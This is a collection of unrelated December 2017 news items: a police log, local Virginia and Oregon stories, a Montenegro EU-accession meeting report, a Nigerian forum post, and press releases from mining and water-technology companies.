In the 28th, Republican Bob Thomas leads Democrat Joshua Cole by 82 votes. Because of system errors that caused some voters to cast ballots in the wrong House district, Democrats have filed a federal lawsuit seeking to have the result thrown out to allow a special election.

In the 68th, Democrat Dawn Adams leads Republican Del. G. Manoli Loupassi by 336 votes.
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COLUMBUS  Butch Runges story could very easily be that of any Nebraska farmer.

Thats why hes willing to share it.

The rural Columbus man is quite happy staying out of the public eye at his farm about 2 1/2 miles east of Lake Stop, but hes hoping what happened to him early last month can serve as a lesson for other farmers during the high-stress planting and harvest seasons.

Runge, who considers himself to be in pretty good shape for 65, wasnt feeling the greatest that week, but like any stubborn father, he told his daughter Michele Martin a trip to the doctor could wait until after the corn crop was in.

He was crabby and shorthanded on Nov. 7, so Martin agreed to pull the grain cart while her brother Travis and a neighbor hauled corn back and forth between the field northeast of Columbus and the Archer Daniels Midland ethanol plant on the east side of town.

Runge was in the combine with a bag of chocolate-covered peanuts and bottle of Dr. Pepper.

I just starting getting a pain in my chest, he said.

It was probably indigestion from the snacks, Runge thought, so he kept combining.

But as Runge made the turn and starting cutting a path back across the quarter-mile section, that pain kept getting worse and worse.

He stopped the combine, crawled out and dropped to his knees.

This indigestion is really bad, he thought, asking his daughter for Rolaids.

Martin, a paramedic who works in the emergency room at York General Hospital, knew better.

Her father was having a heart attack.

She shut off the tractor pulling the grain cart, grabbed her vehicle and ordered her father to get in, then called her brother and the local hospital.

Minutes later, they were at Columbus Community Hospital where an ER team was standing by.

Runge doesnt remember much of the quick trip.

I kept blacking out all the way to town, he said.

At CCH, the medical team led by Dr. Robert Miller quickly diagnosed Runges condition as a widowmaker, a massive heart attack that often leads to death.

Columbus Hospital recognized it right away, said Martin, who lives about 3 miles from her father.

A blood clot and chunk of plaque that broke off completely blocked one of the main arteries to the heart and closed 98 percent of the other. His heart was in fibrillation, fluttering but not pumping blood.

Thats what happens right before you die, said Runge, who was shocked multiple times with a defibrillator and CPR was administered to get his heart beating again.

Runge was stabilized at CCH then transported by Midwest MedAir to the Nebraska Heart Institute in Lincoln, where he underwent a procedure to remove the blockage and insert two stents to open the arteries.

Less than 2 1/2 hours passed between the times when he had his heart attack around 5:30 p.m. and when he was recovering from the procedure that left only a small mark on his right wrist where doctors accessed the blood vessel.

Runge was back in church that Sunday and back in the combine the following week, but he knows things could have turned out much differently had his daughter not decided to help out that day.

If Id have been out there by myself, Id have been dead, he said.

His message to other farmers is not to ignore the signs of a potential health issue, even if it is the busy harvest season.

He got lucky by having his daughter and her vehicle around.

Theres a lot of farmers out there all day by themselves, he said.

Runge also wanted to thank the CCH emergency room workers, Nebraska Heart Institute staff and Midwest MedAir flight crew  Michael Madura, JT Ladd and Kelsey Bradley  who helped save his life, as well as the family, friends and neighbors who prayed and provided support.

I guess God works in mysterious ways, Runge said. It just wasnt my time to go.
No more interim, Batchler named new Blacksburg football coach Once a Wildcat, always a Wildcat. Josh Batchler achieved one of his dreams when he was named the new Blacksburg High head football coach Monday evening. He had served as...

Indians hit growth spurt just in time Gaffney coach Dan Jones never wavered when the Indians were blown out by South Pointe in the season opener. He never wavered when the Indians struggled to beat Hammond. He...
Canada Works to Shrink Digital Divide

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By Paula Bernier

Executive Editor, TMC By Paula BernierExecutive Editor, TMC

Canadian government officials have been working to bridge the digital divide.

Ontarios government has been funding an online learning center in Parry Sound in the province. And the Government of Canada in October allocated more than $4 million to improve Ontarios high-speed internet access.





A Dec. 15 article Metroland Media Group Ltd. reports that folks in remote regions of Ontario now have access to online education and resources through the facility in Parry Sound.

Contact North/Contact Nord, which is funded by the Ontario government, operates the online learning center that is populated with broadband-connected computers and conferencing solutions. It has partnered with Ontarios public colleges, universities, training outfits, district school boards to promote and recruit students for its online programs in small, remote, rural, indigenous, and Francophone communities in Ontario.

YMCA Simcoe/Muskoka Employment and Learning Services are among the training partners. It provides basic skills and literacy courses through the center.

The center and its partners provide residents with access to more than 1,000 online programs and more than 18,000 online courses. They are available at no cost to users. More than 4 million Ontarians in 600 communities leverage the services of Contact North/Contact Nord.

As for the Government of Canada funding, that was given to Bell Canada (News - Alert). The communications services provider will use the government funds to build a new fiber optic backbone. That network, to which the telco will invest $1.3 million, will serve Stratton, Minahico, Madsen, the Nigigoonsiminikaaning First Nation, the Anishinaabeg of Naongashiing, and Kejick (Iskatewizaagegan #39 Independent First Nation).

Backbone networks are the digital highways that move data in and out of communities, the Government of Canada explained in making the new funding announcement. These highways carry large amounts of data that are essential for schools, hospitals, libraries, and businesses to function in a global and digital world.

This government funding is part of the Canadian governments Innovation and Skills Plan. The government says thats a multi-year strategy to create well-paying jobs for the middle class and those working hard to join it. The government also has a Connect to Innovate program, which is providing funding to establish last mile connections to households that lack internet access of at least 5 megabits per second.

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Edited by Mandi Nowitz
This log includes incidents in which there might have been a public disturbance or a risk to the public. Information comes from the Corvallis Police Department and the Benton County Sheriffs Office. It does not include all calls for service. The status of incidents might change after further investigation. Locations are approximate. People arrested or suspected in crimes are considered innocent until proven otherwise.

Corvallis Police Department

FRIDAY, DECEMBER 15

LOCATED MISSING PERSON: 10:37 a.m., Southwest Washington Avenue and Southwest Third Street, Corvallis. An officer checked the status of a California license plate and learned the owner, identified as Xiaomin Sun, had been reported missing out of Alhambra, California. The officer stopped the car and notified Sun of the missing person report. Police contacted the Alhambra Police Department and reported Sun is OK.

INJURY CRASH: 3:36 p.m., 400 block of Southwest Washington Avenue, Corvallis. A man, identified as Scott Stevens, told police he had stopped at the eastbound stop sign at Southwest Fifth Street, looked both ways and proceeded. He collided with a blue Volkswagen Rabbit, which he reportedly said he didnt see because it blended in with the surroundings. The other driver, who was taken to the hospital for injuries, told police he was traveling north when Stevens Mazda 6 hit him. Police cited Stevens for failure to obey a traffic control device.

CAR VERSUS BIKE CRASH: 5:24 p.m., Northwest Circle Boulevard and Northwest Kings Boulevard, Corvallis. A man, identified as Patrick Bottoroff, reportedly told police he was turning into the parking lot of the Jacksons Food Store when he struck a cyclist in the bike lane. The cyclist was evaluated by medics for injuries but declined to be taken to the hospital. Police cited Bottoroff for failing to yield to a rider in the bike lane.

DUII: 9:46 p.m., Northwest 29th Street and Northwest Walnut Boulevard, Corvallis. Police responded to a car crash and reportedly found a Ford Mustang with all four tires on the north sidewalk, facing the opposite direction of travel. Police arrested the driver, Jeremy Kris Barnts, 21, of Corvallis, for driving under the influence of intoxicants, reckless driving and operating an unsafe vehicle for having bald tires. Barnts reportedly had a blood alcohol concentration of 0.06 percent. Police said over an hour and a half passed between the reported time of the crash and the breath test and that Barnts blood alcohol concentration was likely over .08 percent at the time of the crash.

SATURDAY, DECEMBER 16

DISORDERLY CONDUCT: 3:30 p.m., 300 block of Southwest Second Street, Corvallis. Police responded to the Post Office for a fight between Michael Sandoval and Bruce Robert Van Houte, 55. Police cited Van Houte, who was reportedly intoxicated, for second-degree disorderly conduct.

ASSAULT: 5:54 p.m., Southwest Third Street and Southwest Jefferson Avenue, Corvallis. Police responded to Dairy Queen for a fight and reportedly determined Patricia Compton punched Mia Jamison multiple times. Jamison was not injured. Police cited Compton for attempted fourth-degree assault, second-degree disorderly conduct and second-degree criminal mischief.

FORGERY: 8:15 p.m., 1030 SW Third Street, Corvallis. Police recovered a cardboard box containing multiple fake $100 and $50 bills from a table at Papas Pizza. The manager did not know who brought the box into the restaurant. He said he did not find any counterfeit bills in their cash registers.

SUNDAY, NOVEMBER 17

STOLEN CAR: 11:43 a.m., 500 block of Southwest Seventh Street, Corvallis. A man reported his 1985 two-tone gold Chevy pickup, as well as $1,000 in motorcycle parts, were stolen from his property.

Benton County Sheriffs Office

FRIDAY, DECEMBER 15

STOLEN TRUCK: 8 a.m., 500 block of South Fifth Street, Monroe. A man reported someone stole his 1990 Toyota truck. The truck is dark grey with teal doors that have a stripe at the bottom.

VANDALISM: 1:30 p.m., 7800 block of Northwest Independence Highway, Albany. A man reported someone used a tractor to damage about $700 worth of goose decoys.

SATURDAY, DECEMBER 16

DUII: 12:10 a.m., Highway 34 Bypass and Highway 34, Corvallis. A deputy stopped a car for failing to drive within the lane. The deputy arrested the driver, Ivan Clayton Cole, 53, of Albany, for driving under the influence of intoxicants. Cole reportedly had a blood alcohol concentration of 0.11 percent.

DUII: 6:15 p.m., Highway 20 and Northeast Waterworks Street, Corvallis. Tracey Marie Irwin told deputies she was driving east on the highway when she swerved to avoid a bunny in the road. She lost control of the car, which crashed into a power pole and rolled. Irwin declined to be taken to the hospital and was arrested for driving under the influence of intoxicants.

SUNDAY, DECEMBER 17

DUII: 3:55 a.m., Highway 20 and Lilly Hill Road, Blodgett. Obadiah Joseph Slavens, 29, was reportedly driving east on Highway 20 at about 90 miles per hour when he failed to negotiate a curve and crashed into several trees on the north side of the highway. Slavens had minor injuries and declined to be taken to the hospital. He reportedly had a blood alcohol concentration of 0.14 percent.

Oregon State Police

SATURDAY, DECEMBER 16

DUII: 2:56 a.m., Third Street and Harrison Boulevard, Corvallis. A trooper saw a car traveling the wrong direction on a one-way street and attempted to stop the vehicle. The car reportedly did not stop at first. When it stopped, the trooper arrested the driver, Kari Jo Atchley, 29, of Tangent, for driving under the influence of intoxicants and reckless driving. Atchley reportedly had a blood alcohol concentration of 0.18 percent.
I cant read one more article about the lack of equality in reference to Franklin School and not share the overlooked history concerning the formation of the Franklin School in Corvallis.

The Core Knowledge-based school was formed at the request of the school board. This was in response to the increasing numbers of students leaving the 509J district to attend private schools or to be home schooled. I was present at those meetings and was a founding parent. Equality was not the school board's concern then. Numbers and money were.

The parent organizers of Franklin School had to find a curriculum, a staff and enough parents willing to commit to the new school. Next we had to create a library, a playground, and organize and run a new PTA. We had to hunt and beg for donations and scrounge from unwanted supplies.

When I think of Franklin School I think of sacrifice, dedication, hard work and vision. That is great by me, because dont we achieve greatness with dedication, hard work and vision? It is important to remember that sometimes things are not always equal, not because of someones intentions, but because of circumstances.

I wish all schools in the 509J much success. Lets cheer each other on, not tear each other down. After all, it's about the kids, isnt it?

Beth Castellano

Corvallis (Dec. 18)
Page Content

The mood at the mayors, who met in Danilovgrad at the invitation of Mayor, has been lifted by comments in recent months by Jean-Claude Juncker in which the European Commission's president has said that he hopes Montenegro will become a member by 2025, by strong economic growth and by the national government's inclusive approach to the EU negotiations. The government in Podgorica has, they said, sought to ensure that municipalities have a voice in shaping Montenegro's positions in negotiations with the EU, and the country's minister for European affairs,, spoke at the meeting, answering questions at length.The mayors were speaking at a meeting of a joint consultative committee created on one side by the European Committee of the Regions, the EU's assembly for local and regional leaders, and, on the other side, by the Union of Municipalities of Montenegro. The joint consultative committee met for the first time in November 2012, with the aim of helping Montenegro's local and regional authorities on issues such as decentralisation, regional and cross-border cooperation, fundamental rights, good governance, and administration. Around 70% of EU legislation requires action by regions and cities.On this occasion, the committee, which meets twice a year, focused on economic development using Montenegro's local resources and on sustainable tourism.of the World Tourism Organization , a United Nations agency, highlighted lessons from this year's International Year of Sustainable Tourism for Development, whilefrom Helsinki-Uusimaa Regional Council spoke about boosting entrepreneurial ecosystems in regions for young entrepreneurs. Members of the CoR shared their approach to regenerating post-industrial regions and to giving small communities a national and international profile.Mr Pejovic said that the government was drawing on experience from the EU's Danube strategy and Adriatic-Ionian macro-region , to boost the capacity of central and local administration in project development and implementation, and suggested that, as another step, courses should be created for local authorities, as part of an effort to equip them with the skills and capacity to apply for the EU's structural funds. He praised the level of cooperation across the region that has been generated by the 'Berlin process', which has concentrated on cross-border infrastructure as part of an effort to encourage economic integration in the western Balkans. He said, however, that the government in Podgorica would like to see more attention paid to business. According to a recent survey, support for EU accession remains at over 70%, with 22% of the population consistently opposed.Mr Pejovic said that Montenegro is looking to spread the benefits of over 3% annual growth in the national economy around the country and, in particular, to develop tourism in a sustainable fashion. Montenegro is one of only a small number of countries with a minister responsible for both sustainable development and tourism, partly reflecting the importance of tourism to the country's economy. Year to year, the sector accounts for between 22% to 25% of gross domestic product.(SE/EPP), the committee's co-chairwoman and member of Huddinge Municipal Council, praised the Montenegrin government for helping the professional development of local civil servants and for making changes to the law on the financing of local government, but stressed that more needed to be done to boost local government's self-sufficiency and in the recruitment and training of local officials. The other co-chairman of the committee is, mayor of the Old Royal Capital Cetinje.Montenegrin mayors in the committee (Podgorica),(Bar),(Bijelo Polje),(Mojkovac),(Niksic),(Pljevlja),(Savnik), and(Zabljak) in addition to Mr Djuranovic and Mr Bogdanovic  said that tourism has been important in the economy's expansion, which has resulted in Montenegro becoming a net importer of labour, but the benefits have been unevenly shared, with unemployment high in the north of the country, attributable in part to a change in the fortunes of the region's industries. One possibility is to try to develop winter tourism in the north. At present, tourists currently primarily come to Montenegro in the summer and stay in the south of the country.(UK/PES) spoke of efforts by his city, Manchester, to revitalise its economy in the wake of deindustrialisation.(EE/ALDE), a member of town council of Rakvere, emphasised the importance of towns and small communities identifying an approach that would distinguish them from others. Rakvere, a town of roughly 16,000 in Estonia, projects itself as 'crazy but smart', coupling a drive towards a green, knowledge-based economy with cultural activities as its Punk Song Festival, its Green Christmas rock festival and the Men Dance Festival.from the European Commission's Directorate-General for Neighbourhood and Enlargement Negotiations stressed the need for Montenegro to continue its reforms, saying that accession in 2025 cannot be taken for granted. The European Commission plans on 6 February to publish a "Strategy for a successful EU accession of Serbia and Montenegro", identifying the critical steps that Montenegro needs to take, notably related to the rule of law, fundamental rights and the fight against corruption. Montenegro has opened 28 of 35 negotiating chapters, and has provisionally closed three of the chapters.Other members of the CoR's delegation were:(LT/EPP);(IT/NI);(EL/PES);(IT/EPP);(UK/European Alliance); and(SL/ALDE).
clarajancita at 19-12-2017 10:00 AM (4 years ago) (f)

Nnamdi Azikwe's wife has advocated for the unity of Nigeria which is what her late husband and other nationalists fought the colonialists for. Wife of foremost nationalist, Nnamdi Azikiwe, Prof. Uche Azikiwe, on Monday called for the unity of the country in honour of the memories of the nations founding fathers.

Nnamdi Azikwe's wife has advocated for the unity of Nigeria which is what her late husband and other nationalists fought the colonialists for. Wife of foremost nationalist, Nnamdi Azikiwe, Prof. Uche Azikiwe, on Monday called for the unity of the country in honour of the memories of the nations founding fathers.

She noted that the late Azikiwe and his contemporaries like late Chief Obafemi Awolowo, Alhaji Ahmadu Bello and others, would turn in their graves if the country disintegrated.



Speaking at the Federal University, Ndufu-Alike, Ikwo local government area of Ebonyi State during the institutions 2nd Convocation Lecture with the theme, National Reconciliation and the Role of Universities, Mrs Azikwe said the founding fathers sacrificed a lot for the unity of the country, as such Nigeria must not disintegrate.



Mrs Azikiwe also called for reconciliation among various warring groups in the country to ensure the desired peace.



According her, She noted that the late Azikiwe and his contemporaries like late Chief Obafemi Awolowo, Alhaji Ahmadu Bello and others, would turn in their graves if the country disintegrated.Speaking at the Federal University, Ndufu-Alike, Ikwo local government area of Ebonyi State during the institutions 2nd Convocation Lecture with the theme, National Reconciliation and the Role of Universities, Mrs Azikwe said the founding fathers sacrificed a lot for the unity of the country, as such Nigeria must not disintegrate.Mrs Azikiwe also called for reconciliation among various warring groups in the country to ensure the desired peace.According her, Quote The country should not be allowed to disintegrate during our time because if it does, my husband and his contemporaries would turn in their graves.



These founding fathers sacrificed a lot for us to be one irrespective of their differences, and this should make us to collectively find solutions to the problems threatening to disintegrate us.



We should call upon God in solving the problems and seriously address issues of injustice, inequality, among others which threaten our corporate existence as an entity.



The nations political class should also be called to order because we gave them the mandates to lead us but unfortunately, they are not doing so rightly, she said. she said.

Post Reply I am a metro reporter on Gistmania, I have been publishing news materials for over 5 years Posted: at 19-12-2017 10:00 AM (4 years ago) | Hero
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PETERBOROUGH, Ontario, Dec. 18, 2017 (GLOBE NEWSWIRE) -- Rainmaker Worldwide Inc. (OTC:RAKR) announces that it has partnered with Strengthening Participatory Organization (SPO) a national not-for-profit organization headquartered in Islamabad, Pakistan to bring safe drinking water to thirsty and marginalized communities in the neediest areas of the country.



To pilot the technology, SPO has identified areas in Sind namely Tharparkar, Sujawal, Thatta, Badin, Malir, Jamshoro, Tando Muhammaad Khan, and the area of Abbottabad namely Dubran, Kholrian, Bandi Phulan and Bhattian. A new potential site in Gawadar, Balochistan, will also be included for discussions with Rainmaker.

Per the terms of this agreement, SPO will facilitate the identification of National and International organizations to participate in this program.

Based on current projections, the first implementations and fresh water delivery would take place Q3, 2018.

After field studies by Rainmaker and SPO, both Water-to-Water and Air-to-Water units were selected for implementation. Each Water-to-Water machine will provide up to 150,000 liters of drinking water per day, while each Air-to-Water machine will deliver up to 20,000 liters per day. All will be powered by a combination of wind and solar to provide the most energy-efficient and cost-effective solutions for delivering affordable water.

Dire water crisis projections demand action today

Recently, the Pakistan Council of Research in Water Resources (PCRWR) delivered a grave warning: if the government does not take action, the country will face severe water stress by 2025. Severe water scarcity is already having a negative impact on the countrys public health and the economy.

Media reports indicate that in many cases, traditional tube wells are failing, leaving some communities vulnerable without local sources of clean water.

Sustainable solutions for long-term water problems

Saleem Malik, CEO of Strengthening Participatory Organization said, SPO has been working with communities in over 75 districts in all four provinces to promote access to basic services and facilities. We are helping solve the crisis in water shortages and reduce the high costs when drinking water does become available. After thorough evaluation, we are confident that Rainmaker technology will provide much-needed, consistent supplies of safe drinking water to these communities. We are also pleased that Rainmaker uses clean energy sources to deliver affordable water.

Michael OConnor, CEO of Rainmaker Worldwide said, We thank SPO for choosing Rainmaker technology and we will work closely with the entire SPO team to solve Pakistans pressing water needs. We look forward to a long-term relationship with SPO and collaborating on many future projects.

About Rainmaker Worldwide Inc.

Rainmaker Worldwide Inc. (OTC:RAKR) is headquartered in Peterborough, Canada, with an innovation and manufacturing center in Rotterdam, Netherlands. Our patented water technology provides economical drinking water at scale wherever its needed. Rainmaker builds two types of energy-efficient, fresh water-producing technologies:

1. Air-to-Water, which harvests fresh water from the air

2. Water-to-Water, which transforms seawater or polluted water into drinking water

The technology is both wind and solar powered, is deployable anywhere, and leaves no carbon traces. We also offer options for hybrid, grid and diesel-powered models.

Air-to-Water units are available in three standard sizes, producing 5,000, 10,000 or 20,000 liters of drinking water per day. Water-to-Water units are also available in three standard sizes producing 37,500, 75,000 or 150,000 liters per day. This makes each unit suitable for communities of 200 to 30,000 people, depending on number of units deployed. Our goal is to become a global leader in solving the worldwide water crisis. Simply put, were creating safe, drinking water where little or none exists.

Interested parties can access additional information about Rainmaker on the Companys website located at http://www.rainmakerww.com.

About Strengthening Participatory Organization (SPO)

Since its transformation from a bilateral development project of the governments of Pakistan and Canada to a national not-for-profit organization in 1994, Strengthening Participatory Organization (SPO) has grown into a leading Pakistani rights-based civil society organization. SPOs mission is to strengthen and support community organizations and public interest institutions for achieving and protecting basic human rights, with a particular focus on women, girls, youth, children and minorities.

SPO operates through nine permanent offices throughout Pakistan.

Learn more about SPO, its mission and projects at http://www.spopk.org/spo/

Forward-looking Statements

Certain matters discussed in this announcement contain statements, estimates and projections about the growth of Rainmakers business, potential distribution partnerships and/or clients, and related business strategy. Such statements, estimates and projections may constitute forward looking statements within the meaning of the federal securities laws. Factors or events that could cause our actual results to differ may emerge from time-to-time. Rainmakers undertakes no obligation to publicly update or revise any forward-looking statements, whether as a result of new information, future events or otherwise. The recipient of this information is cautioned not to place undue reliance on forward-looking statements.

For more information please contact:

Rainmaker Worldwide Inc.

Michael O'Connor

info@rainmakerww.com

+1-877-334-3820

Strengthening Participatory Organization (SPO)

Saleem Malik

info@spopk.org

051-2301221-22
The Danville Public Library and a local history group are asking for photos and other material for an online digital exhibit focusing on Martin Luther King Jr.s visits to Danville in the early 1960s.

The library and History United are partnering for the exhibit that will be available on the History United website, said Danville Public Library Director Joe Zappacosta.

On Jan. 16, the library will hold a history harvest event where members of the public can bring their items related to Kings visits. Members of the public can attend to learn more about what happened during his visits or to tell their stories about being there.

The plan for that session is to invite members of the community who experienced or were involved firsthand in what led up to and/or what occurred during the visits to share their experiences, Zappacosta said.

Interviews with the items owners will be recorded and stored as part of a digital archive on History Uniteds website. The online exhibit will be available within a week of the event.

Anybody can bring those materials now, Zappacosta said.

Anyone willing to share photos, fliers, programs or other artifacts related to [Kings] visits can stop by the Genealogy Room located at the Main Library to have their items scanned or photographed, Zappacosta said.

The project is one part of a partnership with History United to gather, store, and share stories about the Dan River Region.

This project is part of accomplishing that history-sharing initiative, Zappacosta said. We chose MLK visits because they stand out as being something significant and it worked well with the timing of MLK Day.

Emma Edmunds, historian with History United, said the states Dr. Martin Luther King Jr. Memorial Commission has been working on things to do for the upcoming 50th anniversary of his assassination, especially in cities King visited in Virginia.

This [the history harvest] is a way to get prepared for that, Edmunds said.

During a 2013 interview, local civil rights leader Bishop Lawrence Campbell said he will never forget the times Martin Luther King Jr. came to Danville.

The first time King visited the River City, he couldnt get a room at the Holiday Inn in Danville due to the scourge of segregation. Campbell and other local leaders took him to the Holiday Inn in Greensboro, North Carolina.

Edmunds said History United will also accept material to be scanned or copied and preserved at the library. When most people think of King, they picture the marches on Washington and in Selma, Alabama, she said.

Its important to know that he came here, she said. Its also important to go back and look at some of what he said.

What he had to say about race relations and living together peacefully could provide guidance for us today, Edmunds said.

Theres still a lot of divisions and inequities, she said.
2 p.m. update:

The suspect in a Monday evening shooting in Brosville has been arrested in Raleigh, North Carolina.

The Pittsylvania County Sheriffs Office reports that Vernoise Scales Jr. was arrested without incident and local investigators were in Raleigh.

Our office is uncertain as to when Scales will be returned to Virginia as he will be afforded his extradition options which may include a hearing or he may waive his rights, Devin Taylor, an investigator with the Pittsylvania County Sheriffs Office, said in a news release Tuesday afternoon.

6 a.m. update

Pittsylvania County authorities are searching for a suspect in a Monday evening shooting in Brosville.

Vernoise Scales Jr. is charged with malicious wounding and use of firearm in commission of felony, according to a news release.

Officers responded to a shots fired call in the Brosville area of Pittsylvania County on Monday evening. Investigators and deputies interviewed a victim they said arrived at a local hospital with injuries consistent with a gunshot wound. The victim was in stable condition late Monday evening.

Scales is considered armed and dangerous, according to the news release.

Anyone with information on the whereabouts of Scales or information regarding this incident is asked to contact Pittsylvania County Sheriffs Office by calling (800) 791-0044 or by emailing sar@pittgov.org.

Earlier post

The Pittsylvania County Sheriffs Office is investigating a report of shots fired in the Brosville community Monday evening.

Authorities received a call shortly before 7 p.m. in reference to shots being fired, according to a news release from the Pittsylvania County Sheriffs Office Investigator Devin Taylor.

Taylor did not specify an exact location in Brosville.

Deputies and investigators are currently interviewing witnesses, Taylor said in the release. Additional information will be released as the investigation allows.

Anyone who may have information may call Pittsylvania County Crime Stoppers at (800) 791-0044 or email sar@pittgov.org.

Residents do not have to give a name to be eligible for up to $1,000 reward.
Its been almost a year since Pittsylvania County officials announced a plan to turn Hurts former Klopman Mills site into Virginias second inland port and now the questions of cost and funding are becoming more clear.

Preliminary engineering and a feasibility study began January, and by this coming April, the Staunton River Regional Industrial Facility Authority should be officially formed from Pittsylvania County, the city of Danville, and the towns of Altavista and Hurt. This RIFA will be similar to the one that allows Danville and Pittsylvania County to pool resources for the creation and upkeep of industrial parks.

We as a community have to look at and agree on what we want out at the property, Pittsylvania County Economic Development Director Matt Rowe said. Thats been a really good discussion, because we have four different localities with four different ideas about how the park should be run.

Inland ports are goods transportation hubs that are directly connected to the railroad system or interstates and highways, making transportation simple for companies.

Plans for Hurts inland port are based on the layout of an inland port in Greer, South Carolina, which would require roughly 50 acres of land for the port, laid directly over the Klopman Mills site. It leaves 750 adjoining acres available for future businesses to build on.

The states only other inland port is in Front Royal, located in Northern Virginia, and has attracted the business of distribution centers for such companies as Home Depot, Kohls, Rite Aid and Red Bull. In fact, more than 30 different companies surround it.

One of the moving parts of putting together an inland port this size is deciding on the right amount of water and sewer lines for the park to start.

The town of Altavista, Pittsylvania County and the Samet Corp., which owns the former Klopman Mills site, funded a $27,990 study to see how much it would cost to bring industry levels of potable water and sewer to the park.

All of that water would come through the Altavista Water Treatment Plant and the Hurt Booster Station, according to hired consultants Peed and Boltz Civil/ Environmental Engineers.

Theyre in much better shape with water than with sewer, Assistant Pittsylvania County Administrator Richard Hicks said. Theyve got in the neighborhood of 400,000 to 500,000 gallons a day in excess capacity that can be used for customers. If we go beyond that point, theyll have to update their plant.

The process for updating the plant can take up to three years to get from start to finish, and will be pricy.

To get the first level of water and sewer for the multimodal park alone, it will cost $774,000. The various localities arent sure where the funding for it would come from.

You really dont know what you need until you get an industry, Hicks said. The industry may come in and only need 200,000 gallons a day. If its that, you can probably handle it. If you want two million gallons a day, youre going to need to spend a lot more money.

That cost would be offset over time through the fees charged to whatever companies come into the park.

I imagine at some point in time that thered have to be some sort of joint venture between Altavista, the county and the Samet Corp., Hicks said. I dont know what that would look like.

Discussions will continue once county and town staff returns from the holiday break.

Were looking at getting the plans and specifications done, so that if industries do show up, we can show that were already looking down the road, Hicks said. I can see that being done between the three parties.

With the discussions being had among the localities that will become part of the Staunton River RIFA, weve been able to key in on the areas that we want this property to focus on, Rowe said.

The industries that the soon-to-be Staunton River RIFA hopes to bring to the former Klopman Mills site are high-value processing and manufacturing, said Rowe.

The site, even the namesake itself, is really well suited for multiple modes of transportation, and the companies that were talking with and have shortlisted the site for projects agree, Rowe said.

Norfolk-Southern already has railroad tracks in place, and a third-party rail company is also willing to service the site, he explained.

We think, honestly, that the citizens will be very pleased with the type of development that were aiming for on the property, Rowe said. We have three active projects at the site right now. One has selected the site, one is looking very likely, and the other has shortlisted it. Theyre all pretty substantial projects.
Vancouver, December 19, 2017 - Power Americas Minerals Corp. (TSXV: "PAM") ("Power Americas" or the "Company") is pleased to announce the results of sampling and mapping which formed part of the Company's due diligence on newly acquired claims to the southwest of the core Kittson-Cobalt Project, located in the prolific Cobalt Silver Camp in Northeast Ontario, Canada.

The due diligence work consisted of reconnaissance geological mapping and prospecting with a total of 106 samples collected from historic workings, waste rock piles and bedrock. This work encountered anomalous cobalt mineralization in numerous undocumented workings (pits, shafts and trenches) over approximately three-kilometer strike length located in Nipissing diabase, similar to the mineralization at the Shakt-Davis mine. Significant samples collected are listed below in Table 1. and the locations of all samples are shown in Figure 1.

Table 1. Due Diligence Sampling Highlights.

Sample Number Co wt. % Au g/t Ag g/t Cu wt.% Ni wt. % Pb wt. % 468907 0.05 0.07 0.6 0.02 0.01 0.01 468959 0.17 0.15 0.7 0.00 0.01 0.01 468960 0.14 0.12 1.1 0.01 0.01 0.03 468961 0.08 0.03 34.6 0.60 0.01 2.18 468962 0.10 0.03 0.9 0.43 0.01 0.01 468970 0.04 0.02 3.0 1.68 0.02 0.03 469114 0.97 0.18 3.3 0.99 0.08 0.01 469159 0.09 0.02 0.8 0.10 0.02 0.05

Figure 1. Sample locations.





To view an enhanced version of this graphic, please visit:

http://orders.newsfilecorp.com/files/3852/31419_pam-19dec2017.jpg

The Company recently announced (see PAM news release 11-22-17) the acquisition of an additional 100% interest in 10 unpatented mining claims totaling 140 units having a combined area of approximately 2,240 hectares. Eight of the new claims are contiguous to Power America's Kittson property located in the Coleman, Kittson and Brigstocke Townships of the Larder Lake Mining Division, in Northeastern Ontario. Two of the new claims are approximately 5 km south of the Kittson properties southern boundary. Closing of the above transaction is subject to receipt of all required documentation and final approval of the TSX Venture Exchange.

About the Kittson-Cobalt Project

The Project is located near the town of Cobalt in northeast Ontario, Canada. The Project hosts the historic Shakt-Davis and Cobalt-Kittson mines, as well as numerous historic workings, the deepest extending down to 628 feet, and over 2,500 feet of lateral workings. Cobalt mineralization occurs in Proterozoic-aged quartz-carbonate veins hosted in brittle shears in Nipissing diabase. This style of mineralization is similar to that of the famous Cobalt Silver Camp, which produced 420 million ounces of silver with cobalt as a significant by-product. Veins hosting the mineralization at the Kittson-Cobalt Project differ from the typical Cobalt Silver Camp veins in that they are lower in silver but richer in cobalt, and are associated with significant gold. Historic reports from the Shakt-Davis mine indicate values of 1.5% cobalt over 1.37 meters and select grab samples returning up to 4% cobalt and 93.3 g/t gold. Locally significant nickel, copper and to a lesser extend lead, zinc and bismuth also occur within the quartz-carbonate veins.

About Power Americas Mineral Corp.

Power Americas Minerals Corp. is a Canadian-based junior mining exploration company focused on the procurement, exploration and development of cobalt, lithium and other energy metals in North and South America. Power America's acquisition strategy focuses on acquiring affordable, cost-effective and highly regarded mineral properties in areas with proven geological potential. The Company's shares are listed and posted for trading on the TSX Venture Exchange under the symbol "PAM", the OTC Pinks under the symbol "PWMRF", and on the Frankfurt Exchange under the symbol "VV0".

The technical content of this news release has been reviewed and approved by Neil Pettigrew, M.Sc., P.Geo., a director of the Company, and a Qualified Person as defined by National Instrument 43-101.

On behalf of the Board of Directors:



"Jeffrey Cocks"



Jeffrey Cocks

President



For more information please contact:

Howard Milne V.P. Business Development

Tel: (604) 377-8994 Email: hdmcap@shaw.ca

Website: www.poweramericascorp.com

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.


Toronto, December 19, 2017 - Stakeholder Gold Corp. (TSXV: SRC) ("Stakeholder Gold" or the "Company") would like to announce that it has amended the terms of its previously announced non-brokered private placement financing to increase the size of the offering from $500,000 to $600,000 (the "Upsized Offering").

Under the terms of the Upsized Offering, Stakeholder Gold will issue 2.4 million units ("Units") priced at 25 cents per Unit. Each Unit will consist of one common share ("Common Share") and one-half of one warrant ("Warrant") to purchase one Common Share. Each whole Warrant will be exercisable for one additional Common Share at a price of 50 cents for a period of two years from the closing date of the Upsized Offering. The Company anticipates closing on Thursday December 21, 2017.

Proceeds of the financing will be used for exploration on the Goldstorm Property in Nevada.

For further information on the content of this release or about Stakeholder Gold, please contact:

Christopher J. Berlet BSc (Mining), CFA

President & CEO

416 548 - 9749

cberlet@stakeholdergold.com

Forward Looking Information

This news release contains forward-looking information. All information, other than information of historical fact, constitute "forward-looking statements" and includes any information that addresses activities, events or developments that the Corporation believes, expects or anticipates will or may occur in the future including the Corporation's strategy, plans or future financial or operating performance.

